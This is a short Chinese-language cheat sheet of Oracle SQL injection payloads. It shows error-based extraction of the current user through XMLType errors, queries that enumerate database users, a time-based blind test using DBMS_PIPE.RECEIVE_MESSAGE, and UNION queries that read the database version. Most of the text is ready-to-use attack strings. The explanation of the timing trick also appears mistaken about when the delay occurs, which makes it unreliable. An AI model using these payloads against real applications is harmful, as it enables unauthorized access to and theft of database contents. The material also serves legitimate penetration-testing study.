1' AND (SELECT upper(XMLType(chr(60)||chr(58)||(SELECT user FROM dual)||chr(62))) FROM dual) IS NOT NULL --
该语句会返回当前用户的名称,如:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00217: invalid character 58 (:) found in a Name or Nmtoken
Error at line 1
:<SYS>
当然,也可以运行如下两个命令:
SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual
SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users
1' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) AND '1'=(SELECT CASE WHEN user='SYS' THEN '1' ELSE '0' END FROM dual) --
这条语句的意思是,在原始的SQL语句后面添加两个条件,第一个条件是1=DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5),这个条件会让数据库等待5秒,然后返回1,所以这个条件总是为真;第二个条件是’1’=(SELECT CASE WHEN user=‘SYS’ THEN ‘1’ ELSE ‘0’ END FROM dual),这个条件是一个子查询,用于判断当前用户的名称是否是’SYS’,如果是,那么返回’1’,否则返回’0’,然后和’1’进行比较,如果相等,那么条件为真,否则为假。这样,如果当前用户的名称是’SYS’,那么两个条件都为真,数据库会返回结果,但是由于第一个条件的延时,网页的加载时间会增加5秒;如果当前用户的名称不是’SYS’,那么第二个条件为假,数据库不会返回结果,网页的加载时间不会增加。通过这种方式,攻击者就可以判断当前用户的名称是否是’SYS’
SELECT user FROM dual UNION SELECT * FROM v$version
SELECT user FROM dual UNION (SELECT * FROM v$version)
SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version)